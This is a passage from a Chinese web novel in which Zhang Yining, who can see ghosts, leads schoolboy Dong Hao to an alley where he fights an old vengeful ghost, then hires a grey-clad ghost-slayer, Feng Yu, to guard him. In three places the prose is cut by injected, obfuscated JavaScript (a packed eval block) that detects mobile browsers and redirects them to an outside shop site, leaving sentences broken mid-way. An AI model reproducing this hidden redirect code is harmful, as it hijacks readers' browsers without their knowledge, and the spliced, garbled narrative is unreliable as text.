张祎宁设了手机闹铃,掐了个不会打扰休息的五点钟给郭奶奶打电话,郭奶奶笑呵呵的,透过声筒都仿佛能看见郭奶奶慈祥的笑容,她还听见那边郭强扯着嗓子喊“我奶奶一切都好!放心!”,不由笑出声。再次强调有什么问题都可以通过这个号码随时联系她后才告一段落。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582477|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>正好,楼下也传来一群小孩嬉闹的欢笑声,张祎宁趿拉着拖鞋走到窗边朝下看,五六个小孩在跷跷板旁边玩着石头剪刀布,决胜出谁先有资格占一个位,小西瓜头也在内。 她翻箱倒柜掏出一把果冻和糖果装进口袋要出门,刘元詹见状也噌地站起。 她不能接受看刑侦片出现断档,哪怕不是她自己,也难受,“你别下去了,这是高潮!再过两分钟你注意一下,还有个小伏笔。我就下去一趟和小派说话,十分钟上来。” 很明显,小派没有得到坐上跷跷板的资格,他正在和另外四名伙伴继续石头剪刀布,四个小朋友有秩序地排起队。 “小派!” “祎宁姐姐~” “小派,来,姐姐这有果冻和糖果,还有其他小朋友,给你们吃。” 她从口袋里掏出零食分给这些小朋友,但除了小派,其他人都有点警惕,不敢接过。 小派挺身而出,觉得自己有必要帮忙解释,“这是祎宁姐姐,她不是坏人。” “对,姐姐也住在这里,不是坏人,姐姐请你们吃零食。” 小派对其中一个坐在跷跷板上的小女孩说:“姐姐和我爷爷下过棋,也下赢过你阿公。” 张祎宁大言不惭地顺手接过金水:“对对!” 小女孩接过零食,向她道谢,其他小朋友才接二连三地也接过。 手上的零食都清空后,她将小派拉到一旁,蹲下身子,问道:“小派,你们学校下午几点放学呀?” “五点钟,周三是四点。” “小派能帮姐姐一个忙吗?” 小派正吸溜着张祎宁的“贿赂”,爽快答应:“没问题!” “姐姐想找你们学校六年级八班一个叫董昊的小孩,你能帮姐姐找到他,让他周一下午放学后在学校门口那块大石头旁边等我吗?姐姐有些问题想问他。” 他问道:“如果那个哥哥不愿意呢?” 还不等张祎宁回答,他就说道:“我把这些果冻和糖果都给他,说是姐姐给的,我家里还有很好吃的牛肉干也送给他,他就会答应了!” 小派是个没有心眼的小孩,什么也不问就爽快答应。 张祎宁不好意思地说:“谢谢小派,姐姐会给你买更多的零食答谢你。就算那个哥哥不答应也没关系,姐姐自己想办法。” “嗯!”小派点点头,将剩下的果冻和糖果都放进小口袋里,不再吃了。 小派和小小是张祎宁见过唯二可爱的小男孩。在她的记忆中,这个年纪的小男孩都很可恶,爱扯女生的头发,会在背后发出不怀好意的笑声,以忤逆别人取乐,她暗自保证要在身上常备零食,见到小派一次就送一次。 一切都井井有条地按照她的预想完成,只是这样就弗了杜文新之愿。 时针指过晚上九点,还不见这二人的到来,今夜依旧满客。 他已经忙过一轮上菜,看着杯盘狼藉的几桌,脚趾点地的频率不由加快,最后停住。 杜文新用漫不经心的口吻给张祎宁去信,“今晚不来了?” 收到了秒回的信息:“嗯。” 嗯?嗯!? 他追问道:“有事?” “你有事?” “没事。” “哦。” 哦?哦!? “过来洗碗!”杜文新咬牙切齿地一个字一个字删掉。 直接暴露目的不是他的作风,他要不动声色,以后才有更多指使张祎宁的余地。 可气闷无法消散,他发泄似的将手机摔在桌面上,起身敲开厨房的门,一字一句向老金宣布:“我,杜文新,这个月都不会再给张祎宁派一个活。” 老金无所谓地耸肩,“随便。” 40. 董昊 张祎宁又把事情搞砸了。 她狂奔在距离庆林小学还有500米的路上。此刻是18:30。 庆林小学五点放学,她是不得不早退的,但工作就是这样,添堵。任务最重、进度最急的工作势必是突然从天而降,大家的时间永远是错落的,永远在临近下班时间才能凑齐人开冗长的会议,预计半个小时能开完的会势必是两个小时起步。 别说董昊同意在门口见她的机会渺茫,一个半小时的等待时间,张祎宁完全不抱任何期望,但她还是拼命往那赶,没有别的理由,还是一句——万一呢? 庆林小学一定是块福地,人杰地灵,像小小、小派、董昊这样的小男孩,一下能找出三个。 六点半已是华灯初上,最晚等到父母来接的孩子都已散场,汽车前灯从刻有【庆林小学】四个大字的石碑上滑过,短暂地让张祎宁看见一个单薄的身影。 “对……对不起,我迟到了……”张祎宁大口吸入干燥冰冷的空气,喉咙被粘住,她被呛得干咳了几下。 “是你要见我?” 处在变声期的男声,不带任何感情的淡漠,对方并没有因为在寒风中多等一个陌生人数个小时而生气。 张祎宁不确定地问:“你是董昊吗?” “是。” “对,是我想见你。” 张祎宁在微弱的灯光中细细察看董昊的眉眼,意外地发现他和那个深巷里的老人没有一点相似之处,她本以为他俩应当是亲戚关系,甚至是爷孙,毕竟最后念念不忘也要见一面的人应当是在对方心里有不俗分量的。 她犹豫了。 董昊还在看着她,等她说出见面的原因,她硬着头皮问:“那个……你……你认识一个断腿的老爷爷吗?” 董昊的眼神变了,借助晦暗不明的光线遮掩,只一刹,他便恢复成最初的无害,“认识。” 张祎宁松了口气,果然认识啊,那就没错了。 但接下来的话更难说出口,“是这样的,我受那个爷爷所托,有些话想告诉你,还有些东西想交给你,但是那个东西不在我身上,需要你跟我去一个地方取一下,是在一条巷子里……你放心,我绝对不是坏人,不会伤害你!那个巷子也安全得很!……” 这……说的什么玩意儿……张祎宁想了很久也没有找到一个合适的理由,这年头的小朋友们都接受了很好的防拐教育,何况是一个六年级的学生,所以不管她编什么理由都是无用的,除非她先花费一些时间赢得对方的信任,但那又将是没完没了的漫漫长路。不如破罐子破摔,试试再说。 “走吧。” “啊?” 这个小孩真奇怪,在大冷天里等一个陌生人,继而相信她漏洞百出的理由,还要跟着她走?事出反常必有妖,对方虽是一个六年级的小孩,但他的身高和张祎宁也差不了多少,一种来自男性的压迫笼罩在张祎宁头上,让她很不自在。 “哪边?” 董昊已经先于她做出反应,张祎宁跟上,“这边。” 很神奇地,没有用的刘元詹会给她安全感,她有点后悔没有把他带上。 那条巷子离庆林小学不远不近,走路大概需要十五分钟,打车会更快,但走在充满灯光的街道会给人安全感,不论是董昊还是张祎宁。他们都没有说话,安静地走着,各有心事。 一股香甜的味道从前方飘来,甚至盖过了周围饭店的油烟,张祎宁的肚子即刻发出声响以回应。她快跑了两步,来到烤红薯摊,“老板,有现成的吗?要两个。” “有的,刚热好。” 这是独属于秋冬的城市街道里的香甜。不需要任何付出,每个过路人都可以采撷一缕,光是闻上一闻都能获得一点温暖。 当然,想独享更多的香甜和温暖就要付出比较大的代价了,张祎宁为这两个烤红薯付出了高达35元的代价。 她挑了比较烫的一个递给董昊,对方这时才表现出一个六年级小学生该有的防范意识,“我不用。” “没关系,你可以不吃,拿着暖暖手也好,很抱歉我刚刚让你多等了一个半小时。” 张祎宁边说边飞快地塞进董昊手里,而后自顾自向前走。 对方很快就跟了上来,将烤红薯握在手里,小声嘟囔了句“谢谢”。 张祎宁放下警惕心,这种别扭的样子才符合她的认知,又暗暗自得,她从小在外婆那里学会的这一套很是管用,趁对方不注意,二话不说塞到对方怀里,两耳不闻对方的拒绝,扭头就走。百试百灵。 两个人都捧着温热的红薯,每走一步,香甜的味道就钻进鼻子里,他们还是没对话,但感受不一样了。 张祎宁沿着记忆里的路线,找到熟悉的便利店,第一条巷子,就是它,走进去,走到深处。 这条巷子和上次来的时候没有任何差别,昏暗的、接线不良的路灯,有一段路的灯泡玻璃碎了,整条路上都是黑的,只有最中间一户人家的门口自行安上了电灯照明,大概那个路灯碎了有一段时间。 经过这户人家之后再走过两个小小的十字路口,两次都选右边的巷道,只差最后一个转弯就要到了。 这时,董昊停了下来,他的表情融入了黑夜的深沉。 张祎宁以为他是为自己带了条曲曲折折的路而有想法,着急地解释:“马上,转个弯就到了,你相信我。” 他眯起眼睛看向转角的路灯,如果他记得没错,最后这段路只有这里有灯。 “我知道。”他将红薯递给张祎宁,“可以帮我拿一下吗?” “啊?哦……”张祎宁茫然地接过。 将红薯交出去后,董昊取下了背上的背包,拉开书包链,灯光昏暗,他将手伸进内袋里摸索,被红薯烘得暖融融的手碰上了一根冰冷的坚硬,他抽了出来。 铁棒,伸缩的铁棒,向后一甩,变长了。 张祎宁一时间大脑宕机了,但并不妨碍她双目逐渐圆睁,后悔自己警惕心还是卸得太早。 等反应过来的时候,董昊已经将书包理好放在一旁的墙边,张祎宁出于本能,一步一步向后退,结结巴巴道:“你……你这是干什么……我说了我不会害你……你……” 躁动了,一个转角的距离,他们清清楚楚地感知到了对方的存在。 董昊决定先发制人。他紧握甩棍,盯着转角那盏路灯,低吼一声“闪开”后蓄力猛冲,张祎宁只看见一头年幼的豹子,发出一声咆哮后张开利爪向着猎物猛扑。 她连喊救命都忘了,血液凝固,愣在原地,下意识抬起手上的两个红薯挡脸,眼睁睁地看着对方冲…… ……冲了过去。 嗯? 不是冲着她来的? 用力挥动甩棍的破空声响起,张祎宁急匆匆跑过拐角,便看见了那一人一鬼。 她瞠目结舌地看着眼前的场景,诡异,说不出的诡异。 董昊用尽全身力气向那只鬼连挥了两下甩棍,不出意外地,甩棍在碰到那只鬼的时候便像碰到了空气,穿了过去,这是必然的,鬼不过就是有形的一团空气。但董昊显然不是这么认为的,因为他的表情大动,充满了不可置信。 张祎宁更是疑惑了,董昊竟然也能看见鬼?他也是掌簿?那他现在是在做什么?他怎么……怎么会对一只鬼出击?这有意义吗? 这用尽全力的两下没有造成任何伤害,反而拉近了董昊与老鬼之间的距离,就在他完成第二击还没来得及后撤之际,老鬼突然伸手,掐住了董昊的脖子。他跪在地上,董昊比他高出一点,所以他的手向上抬,尽管使出全力却还是差了一点,只差一点,就能捏断这根脖子。 董昊的甩棍掉在地上,老鬼的力气很大,他的双手攀上那只扼住他呼吸的鬼手,又掐又打,也没解脱分毫。再过一会儿,自己保准会断气…… 他奋力抬起双脚,整个人凌空而起,对着面前的鬼猛地一踹,借着手上的力道和整个身体的重量,老鬼被痛击地向后一仰,董昊终于脱离了桎梏。他摔在地上,凭借本能边大口呼吸边向后爬。 发生了什么?他们打起来了。他们怎么会打起来?怎么打得起来? 可是张祎宁分明看见鬼手扼住董昊的脖子,让他无法呼吸,也清楚看见董昊踹出的一脚结结实实地踢在那只鬼的身上。 来不及想更多,眼前的景象似乎火烧眉毛了。 董昊向后爬,那张涨红的脸映在张祎宁的眼里,充满痛苦,但他还没脱离危险区域,老鬼被踹只是向后仰倒,马上就恢复过来,快速膝行,伸手抓住了董昊的脚,狰狞着一张脸叫道:“把你的腿给我!” 实力差距悬殊。张祎宁放下包,一个箭步冲上前,也学着董昊刚刚的姿势踹向老鬼,靠!痛!她也结结实实,却是穿过了空气,结结实实地摔在地上。她很确定,自己什么都没踢到! 老鬼发出猖狂的大笑,加大力度伸出双手拉住董昊的脚,将董昊扯至自己身前,这时,董昊的一只手伸进了裤袋,老鬼眼疾手快,空出一只鬼手将董昊的手钳制住,反压在地上。 张祎宁听见董昊发出痛苦的呻吟,她焦急地挥手挥脚,渴望有一个拳头能落在老鬼身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张祎宁只觉那股力气突然消失,董昊的双腿稳稳地在她的怀里,不需用力就能往回拉。她立时放开,直起身子。 董昊刚刚是下了狠手,又在鬼手往眼睛反制之前就撤回了手,他忍痛站起身,后撤至鬼手够不到的地方,往口袋里摸才发现空空如也,后知后觉对张祎宁喊:“符!” 张祎宁整个人脱力地坐在地上喘气,在听到喊声后又踉踉跄跄向前爬了两步,将手里攥着的符要交给董昊,她无需管后面的老鬼是什么情形,因为她碰不到老鬼,老鬼也无法伤她分毫,她的眼前只有董昊,只差一步,就要够到了。 就在这时,张祎宁看见自己伸出的手与鬼手重叠,那只鬼手比她更快一步地前伸,想要抓住董昊的手,而另一边,董昊的拳头已挥至自己的面旁,又突兀地停住,另一只鬼手就在此刻攥住了董昊的拳头。 狂妄的笑声在张祎宁的耳畔响起,她的脑子发出嗡鸣,鸡皮疙瘩爬上脊背。她清楚地感受到——那只鬼和自己重叠在一起。 而董昊挥向鬼的拳头也会落在张祎宁的身上,所以,他停住了。 她僵在原地,看着一道鬼影从自己身上弹射而出,两手都抓住了董昊的双臂,飞身上前,将他压在身下。老鬼吸取了教训,他用双膝顶住董昊的两只手掌,坐在董昊身上,紧紧地再一次箍住董昊的脖子。 这回是向下用力,他一定可以捏断这根脖子。先捏断脖子,这双腿就跑不掉了。 一切都发生得太突然,张祎宁在老鬼飞身上前的时候也用力冲向了董昊,可她迟了一步,那张符没能塞到他手里,老鬼把他的整只手掌都抵住了。 完了……怎么办……她想托起董昊的上半身为他留余地,可是那只鬼是整个身子都压在上面,她无论怎么掰怎么托,从肩膀到腰,都试了一遍,抬不动分毫。 董昊只是一个六年级的孩子,力气不够大,身高不够高,求生的意志让他拼命挥动双腿想踢到老鬼,可他够不着…… 一个的力气即将耗尽,一个空有力气却施展不出。 董昊额角的青筋乍起,眼泪不受控制地流,牙关咯吱作响,他看着眼前的鬼,分明是熟悉的样子,那双手,会摸他的头,会捏他的脸,却不会掐住他的脖子。 “刘……刘爷爷……” 原来他还有感情,原来到了这种快要死掉的时候,他也会觉得委屈。 凭什么……要这样死掉……凭什么…… 41. 灰灰人 “咳咳咳咳咳——” 大团大团的空气进入,他贪婪地呼吸。 董昊感觉自己已经在撑破气管的极限了,可他管不了那么多,只顾着呼吸。 张祎宁的眼泪挂在眼睑,她眨了眨眼,想看清眼前的是个什么东西,泪珠就掉了下来。 是人,是个人。 来人戴了顶灰帽,穿着件灰色卫衣,不,应该说从头到脚都是灰的,灰卫裤、灰鞋,连灰帽下露出的鬓角也是灰的,灰发。 这个灰灰人像是从天而降,手放在老鬼的肩上,往后一扯,就还给了董昊呼吸的权力。 “大爷,冒昧问一句,您今年贵庚?看着像五十多,但这力气怎么就七十了?还是您是饿死鬼上路?这也太可怜了……”灰灰人只用一只手就钳住了老鬼的双腕。 老鬼疯狂转头朝灰灰人发出含混不清的怒吼与咒骂,但他双手被扣,双腿……按他所说,是断了。 张祎宁眼看着灰灰人朝其中一只腿用力踩下,“咦——”她皱起双眉,看着就很疼。果然,老鬼发出了惊天动地的痛呼,如果他不是鬼的话,估计这一条巷子的人家都会探出头来看。 灰灰人笑道:“瞧!您这腿不是好着呢嘛,没断,抢别人腿干嘛?” 老鬼恶狠狠地大喊:“把你的腿给我!你的!你的!” “听不懂人话。” 灰灰人丧失了兴趣,目光和已经恢复过来的董昊相接,“小鬼过来,收了他。” 董昊以手撑地,艰难地起身,他咳得太用力了,现在整个胸腔和肺腑只要一扯就疼。他踉踉跄跄地走过来,从张祎宁的手上接过符,在老鬼的面前停住。 老鬼的双手缚在身后,双膝跪地,对着董昊发出如山林野兽般的嘶吼。董昊紧握符纸的手靠近一寸,他的头就向后退一寸,盛怒的火焰变成了恐惧的哀鸣。 直到退无可退,董昊的手兀地停住。 “下不了手?小屁孩,哥哥要下班了,还有两分钟,两分钟一到我就放手走人。” 张祎宁下意识看了眼腕表,还有两分钟到八点。 灰灰人看起来不像在开玩笑,到点他也许真会不管死活地放手走人。 张祎宁听见了董昊“临死”前那声挤出来的“刘爷爷”,老鬼是董昊认识的人,要亲手送走认识的人确实很残忍,但不过就是投胎转世嘛,总比让他继续烂在这强吧? 她小声地说:“那个……董昊,你就让爷爷走吧,早点下去早点投个好胎……” 灰灰人闻言愣了一瞬,而后捧腹大笑:“哈哈哈哈,抱歉抱歉,这种氛围我不应该笑的,但是……那个谁,我给你免费科普一下,这个呢,是恶鬼,我们是杀恶鬼的人,杀,你懂吧?杀了他他就会死,死你也懂吧?人死后要不变成鬼要不投胎,那鬼死掉呢?不就没啦,也就是灰飞烟灭,啥都不剩。” “灰飞烟灭……不能再轮回了吗?” “不错,认真听讲,比这小鬼强。”灰灰人不合时宜地夸了张祎宁一句。 还剩最后一分钟。 张祎宁总算理解了董昊的纠结,亲手杀死认识的爷爷,太荒唐了。 “灰灰人,他不行,你就不能自己来吗?”张祎宁变得急躁,一不小心将临时取的绰号脱口而出。 “灰灰人?这么可爱的名字,我喜欢!” 真难得,还投其所好了。 但他板起面孔,“不行喔,我是有职业道德的,不会抢人功德。” 功德? “十、九、八……” 灰灰人开始倒数。 张祎宁紧张得手心浸满汗水,可她也没办法催董昊,催着对方为求自保而让爷爷灰飞烟灭吗?这种选择只能交给他自己。 “五、四、三……” 惨叫声不绝如缕,张祎宁的整颗心都揪了起来。 不同于掌簿的勾魂,被贴上符以后灰飞烟灭的过程更漫长、痛苦和绝望。全身像被定住,眼睁睁地看着自己一点一点地、疼痛所到之处一寸一寸地消失。 张祎宁和董昊无法接受这一幕带来的冲击,纷纷转头回避,只有灰灰人直视着一切的发生。将灰飞烟灭的全过程观赏完毕后,他长舒一口气,满足地发出一声喟叹。 “不错不错,你也喜欢踩点下班吗?不过,其实我更喜欢早退。” 灰灰人拍了拍手,从地上捡起甩棍,挥了两下,笑道:“你这小屁孩连武器怎么用都不知道,不过生瓜蛋子才喜欢用武器,把自己的身体变成武器,拳拳到肉,那才叫爽呢。” 董昊没理会他,夺走甩棍,默默地往回走。 张祎宁脸上残留的泪痕被风吹过后是一阵阵的冰凉,她抹了一把脸,看了看嘴角还挂着笑的灰灰人,又看了看没有表情的董昊,自觉跟上董昊的步子。她从包里翻出湿纸巾递给董昊,“擦擦脸和脖子吧。” 转角的那盏路灯依旧明亮,没有受到任何影响。 “嘶,有血印子,好像破皮了,这样不行,得去医院消毒。” 在微弱的灯光下,他的颧骨上可见擦伤,脖颈两侧和后侧的红痕里都带上了细细点点的血印。 他若无所觉,只是用湿巾擦过,下手没轻没重的。张祎宁实在看不下去,抢过他手上沾血的湿巾,用轻点的方式帮他擦拭干净上面沾的泥灰。 “对不起,真的对不起,这是我第一次见到恶鬼,害你受了这么重的伤,真的真的对不起。”再多的道歉在这一道道红痕面前都显得苍白。 “命中注定的。”小小年纪就这么老成,她不知道该说些什么,反倒是灰灰人发出轻微的嗤笑。 “真不去医院看看?会感染的,然后再去吃个饭吧,这么晚了你都没吃上东西。” 董昊拍掉外套上的泥,平淡地说:“我妈还在家等我,很晚了她会担心。” “哦哦,对,很晚了,别让家长担心,但你这……一身伤……” 他将外套拉链拉至最顶上,缩起脖子,除了面上的擦伤,倒是看不出什么了。 “我吃红薯就行。” “啊,红薯。” 张祎宁从包里掏出那两个红薯,其中一个还保留了一点似有若无的余温,她递给董昊。 “谢谢。” 目光瞥见一旁的灰灰人正看着她手上的另一个红薯,她咽了口唾沫,递出去,“冷了,你吃吗?” 对方毫不客气,笑着接过,“打完架就得吃口甜的。” 清冷的月光洒在狭窄的巷道里,三个人的身影都显得格外瘦削,挤在一起,一会儿你高一个头,一会儿他又矮一个头。张祎宁被夹在中间,想发问但欲言又止。左手边的董昊走起路来不利索,张祎宁得时刻留意他的状态。 吃人嘴短,拿人手软,灰灰人啃着红薯,声音轻快:“小孩,你这个时候是最容易死掉的时候,我刚刚看了,你要身板没身板,要技术没技术,反正就是随便来个都能给你打趴,所以,我诚挚建议你找个保镖,比如雇佣我。” 吃红薯都堵不上他的嘴,说话这么不中听呢,张祎宁蹙眉,“说什么丧气话,躲不过就跑,再说了,哪有这么多恶鬼,我到现在还是头一回见。” “跑不掉的。” 她正欲反驳,董昊率先停了下来,“我到家了。” 是那户自行安装电灯照明的人家,董昊家竟然就住在这里,离刚刚的深巷只隔了几个转弯,难怪他会认识那只鬼。 “你好好休息,注意伤口,如果有什么问题一定要及时联系我,我留个电话吧。” 他淡淡答道:“我没有手机。” “我写下来给你。”张祎宁翻着包找纸笔时,董昊已经开门进去了。 “董……”后半句被关门声吞没,她不知所措。今晚如果不是她的无知和多管闲事,董昊不会受伤,也不会直面残忍。 一门之隔,门内响起焦急的女声,大概是董昊的母亲,她关切问道:“怎么这么晚回来?” 董昊的声音响起:“被野狗追,绕了一圈才回来。” “哎呀!摔跤啦!” 继而是一阵翻箱倒柜的乒呤乓啷声。 再正常不过的对话,世俗社会定义中的温馨家庭,与暗夜深巷里失去神智的恶鬼是两个矛盾的世界,却像失灵般,裂开了交汇的口子,粘腻滑稠的恶意和血腥从裂口里慢慢渗进这个家庭。 张祎宁看向头顶明亮的电灯,又看向不远处破碎的路灯,默默地转身离开。 “喂!你怎么垂头丧气的?在自责?没必要啦,他俩迟早会打上。”灰灰人随口宽慰道。 “什么意思?还有你刚刚说的什么死不死的,我根本没听懂。” 他有点抗拒,“我都下班了,解释起来很麻烦,你问别人吧。” 张祎宁抬高音量质问:“啧,你吃的红薯是我的,一个红薯17块5!17块5!问你两句怎么了。” 灰灰人的身上充满了危险信号,她本想敬而远之,但听他这么干脆的拒绝就气不打一处来。 他嘟嘟囔囔:“脾气还真不好啊。” “长话短说,我们和那些恶鬼就是相克,但又天然自带吸引力,十岁开始我们身上的味道就会发散出来让恶鬼闻见,我们要杀他们,他们也要杀我们,鬼也懂得挑软柿子捏嘛,像他们这种没力气、没经验、懵懵懂懂的小娃娃就是最好的靶子。所以你说躲不过就跑是没用的,一个两个都会找上他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655173|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一捏就死,最好的人头。” 张祎宁被骇得不轻:“十岁!十岁怎么打得过,这么点大。” “都说啦,打不过就死嘛。” “死”怎么能说得这么轻飘飘呢?张祎宁不解:“你不怕死?” 他耸耸肩,“不怕啊。但我现在不想死,还没玩够呢。” 在昏暗的环境里呆了太久,亮光在她还在出神之际如潮水般涌上脚背,灰灰人将最后一口红薯咬下,随手将皮丢进巷口旁的垃圾箱。 “行了,我走了。” “等等——” 他疑惑地看向张祎宁,对方像是下了重大决心般,攥着拳,上身前倾,声音很轻但又不容置疑:“我雇佣你。” 他哑然失笑:“放心,恶鬼杀不了你。” “不是,我雇佣你保护董昊。” “哦?”灰灰人戴上兜帽,兴致盎然,“你这人挺有意思,不愧是掌簿。” “一般情况下,我的职责会在你说了要雇佣我的时候生效,但我感觉你在状况外,所以善良的灰灰人友情、免费提醒你,我有两种收费方式,项目制和按天计费,项目制要有具体需求——时间、地点、对象,但你提的保护显然不属于项目制,那就是按天计费,一天200,很公道吧,看你有缘打五折,100,一个月就是3100,一年就是37200,我绝对尽职尽责,就是……你的钱能到位吗?” 口条太顺了,这话也不知道翻来倒去和多少人说过。 张祎宁忘记先问问价钱了,怎么说也算私人保镖。她缩回身去,小声吐槽:“也太暴利了……” “喂喂喂!多危险你也看见了,一个月3100,你还说我暴利!” 在谈钱上,张祎宁一向很难退让,她继续磨:“你也不止接我一单啊。而且又不是天天都有危险,这样行不行,如果一个月都没遇到危险,我就给你1500,但凡遇到一次,一口价3000,我爽快给。” 灰灰人大受震撼,微挑眉稍,“1500?一天50饭钱呗?我图啥?” “哎呀哎呀,他一整天学校、家两点一线,行动轨迹简单。有商有量嘛,你也知道我是掌簿,万一以后你也有用得到我的地方呢?不然我给你内推也行,我们公司包三餐,福利也不错……” 灰灰人截住她的话头,生怕她反悔,“行,3000,就这么定了。” 张祎宁纠正道:“不是,遇到一次恶鬼交手才是3000。” “知道知道。” 她仍然不放心,继续补充:“要保证他的安全,懂吗?别再像今晚那样,掐着点来。” “知道知道。” 张祎宁边提醒注意事项边细细打量这张脸,年轻、不羁、玩世不恭。 嗯,便宜好用的大学生。 她加上了灰灰人的微信。 连头像都是纯灰色,奇怪的癖好。 昵称——Ares “冯宇。我的名字。” “哦。” 他白了张祎宁一眼,晃了晃手机屏幕,“你的备注。” “巴掌,备注巴掌就行。” 时间不早了,刘元詹估计又在店里苦等着她,她得快点赶过去,把今晚发生的事都告诉他。思及此,她忘记打声招呼,拔腿就走。 “喂!你是不是雇我啊,定了没?”声音从身后追上。 “雇!明天再开始计费!” “牛,一个比一个牛。”冯宇对着张祎宁的背影竖起大拇指。 “搞定。” 发出短信后,他重新走回来时的巷口。 * 董昊缩着脖子,将书包放在沙发上,母亲还在从医药箱里翻找消毒水,一边嘟囔着:“这些野狗很吓人的,别说小孩,大人也没辙,都喜欢在巷口垃圾桶那翻食吃……” “来,涂点药。” 客厅的光线太亮,近距离接触难保不会让母亲瞥见脖子的伤,他不着痕迹地起身避开,说:“洗完澡再涂吧,我好饿。” “那行,我去把菜再热一遍,”她将消毒水顺手放在茶几上,突然看见董昊手里的红薯,“诶?哪来的红薯。” “一个认识的人给的。” 母亲揶揄道:“朋友吧?脸都摔了这红薯还完好无损。来,我也拿去一起热热。” 母亲在厨房热菜的时候,董昊提起书包溜回房间,将甩棍放进上锁的抽屉,那里平放着几张符纸,他看了眼,将它们全部拿了出来塞进书包。 在室内的光线下,他对镜自照,仰头、低头的时候会不小心露出伤痕,那些血点子尤为可怖。 窒息的痛感重新回归,刘爷爷是下了死手的。 42. 鬼中恶鬼 脱力、眩晕。 张祎宁在地铁上握着扶手感到因气压差带来的耳鸣更严重了。 她翻出一块巧克力囫囵塞进嘴里,这本备着给小派的零食算是救了她一命,高度紧张的情绪、过度用力再加上空腹的饥饿,她感觉自己是低血糖了。 再撑一下,马上就到站了,今天又可以吃到老金的私房菜。绝不!绝不能在地铁上倒下,第一次被头痛击倒就是在地铁上,她绝对不要再出洋相。 张祎宁甩甩脑袋,不知是信念的力量还是巧克力的极速补充,她确实觉得自己稍稍缓和。 憋着一口气看到1980taste的灯光,莫名的暖流升起,涌上她的鼻腔和眼眶。这夜发生太多她无法理解的事,黑夜重新变得危机四伏,她总恍惚看见那一双双蛰伏的眼睛,来自恶鬼,来自未知的别的怪物。只有1980taste,那里如同被隔绝开的世外桃源。 如果董昊也能受此庇护就好了,她突发奇想。 叮铃。 张祎宁向后看了一眼,确保身后无人,急忙关上大门。 “你怎么了?”刘元詹一个箭步冲来,吓了她一跳。现在不管是什么,都能很轻易地吓到她。 她无力地摆手,扯出个假笑:“没事。” 今晚要去找董昊的事她事先知会过刘元詹,在杜文新他们面前说话留三分余地也是共识,所以刘元詹虽然看见她紧皱的眉头和心事重重的表情,还是将更多的问题咽回肚子里。 没有看见食客,不知是已经用完餐了还是今夜冷清,张祎宁急切地冲进厨房,当然,她还记得先敲敲门,虽然来不及等老金同意就推开了门。 “老金,还剩一口吃的吗?我快饿晕了,是真的要晕了。” 蛋香。浓郁的蛋香。 “今晚备的料不多,不过有剩饭,蛋炒饭怎么样?” 老金正在切胡萝卜丁,一心二用,切菜的节奏也没被打断。 “可以,有一口吃的就行!” 张祎宁的眼神瞟向锅里,她现在就想吃口饭,冷的硬的都没关系,只要能下肚,那阵眩晕的感觉又回来了,胡萝卜丁也是能生吃的…… 一堵人墙突然立在自己面前,杜文新又将她给拖了出去。 “去坐着,他马上就能好。” 张祎宁脚步不稳地一路踱到桌边坐下,那里放了一大壶水。 “来,喝水。”杜文新贴心地将壶中的水分到杯子里放在她面前。 还是有服务意识的嘛。 张祎宁也不客气,端起杯子一饮而尽,又给自己倒了杯,两杯水下肚,她才感觉重新归位了一魂一魄。 杜文新接着往空杯里倒水,张祎宁看了看他,沉默地将杯子挪到一边。 就像故意作对似的,杜文新将杯子又移回她的面前。 ? “老金是慢工出细活,没这么快好,你多喝点水,喝饱点。” “你刚刚还说他马上能好。” 杜文新促狭地笑:“给他留面子。” 没力气和他抬杠,张祎宁又喝了一杯水,眼睁睁看着杜文新继续往里倒。 没关系,事不过三。 张祎宁仰头饮尽。 “杜文新,我们就不能和平共处一天嘛!一天!”她看着再度满上的水杯,确定以及肯定,杜文新又在手欠。 他轻点下颌,不置可否,只是评价道:“声如洪钟,很有力气。” 可能由于确实喝水喝饱了,又或者被他气到,气血上涌给自己提了气,张祎宁感觉手脚都重新充满力量。 她瞪了杜文新一眼,再看看仍然在锅灶前忙碌的老金,无知无觉,她又把面前的水喝完了。杜文新见状,带着得逞的笑转回他的吧台,顺手敲了敲和厨房相隔的那扇玻璃门。 就在这时,厨房门打开,浓郁的炒蛋香味直勾勾地冲着张祎宁而来,她食指大动。 不知道是自己没吃过什么好东西还是老金的厨艺实在了得,简简单单一盘炒什锦、一碗蛋炒饭胜似人间美味,她全都吃光了,没剩一粒米、一颗豆,就是稍稍稍稍有点咸,她将那一整壶水喝得一滴不剩。 “我来的时候外面风可大了,也不知道现在停了没。” 张祎宁现在已经完全恢复过来,她将自己的整个身子都靠在椅背上,随意闲聊。 “要出去看看吗?”只有刘元詹回答。 她瞟了一眼杜文新,见对方毫无反应,又说道:“不用,等走的时候再看。家里楼下那些小孩一天到晚太吵了,房子也不隔音,诶,杜文新,你们这的那个结界能给我家也安上吗?” 他连头都没抬,斩钉截铁道:“不行。” 